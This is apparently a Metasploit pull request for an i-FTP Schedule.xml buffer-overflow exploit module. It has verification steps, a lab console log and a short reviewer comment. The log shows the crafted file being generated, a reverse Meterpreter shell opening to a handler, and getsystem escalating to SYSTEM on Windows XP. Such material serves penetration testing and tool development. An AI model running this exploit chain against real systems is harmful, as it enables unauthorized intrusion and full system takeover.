Add module for i-FTP (OSVDB-114279)

This is an MSF port of http://www.exploit-db.com/exploits/35177.

# Verification steps
 - [ ] Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp
 - [ ] Start the application

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/iftp_schedule_bof
msf exploit(iftp_schedule_bof) > run

[*] Creating 'Schedule.xml' file ...
[+] Schedule.xml stored at /home/gabor/.msf4/local/Schedule.xml
msf exploit(iftp_schedule_bof) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse handler on 192.168.17.131:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.17.129
[*] Meterpreter session 1 opened (192.168.17.131:4444 -> 192.168.17.129:1063) at 2014-12-21 16:15:28 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```
Ah, I see you need to place the file in a particular place, now that I've actually read the PR description. This info should be reflected in the module description as well, if you please. And it sounds like renaming the file is pretty meaningless, though I guess the user might want to create several versions of Schedule.xml locally, per target or something. So the option should stay.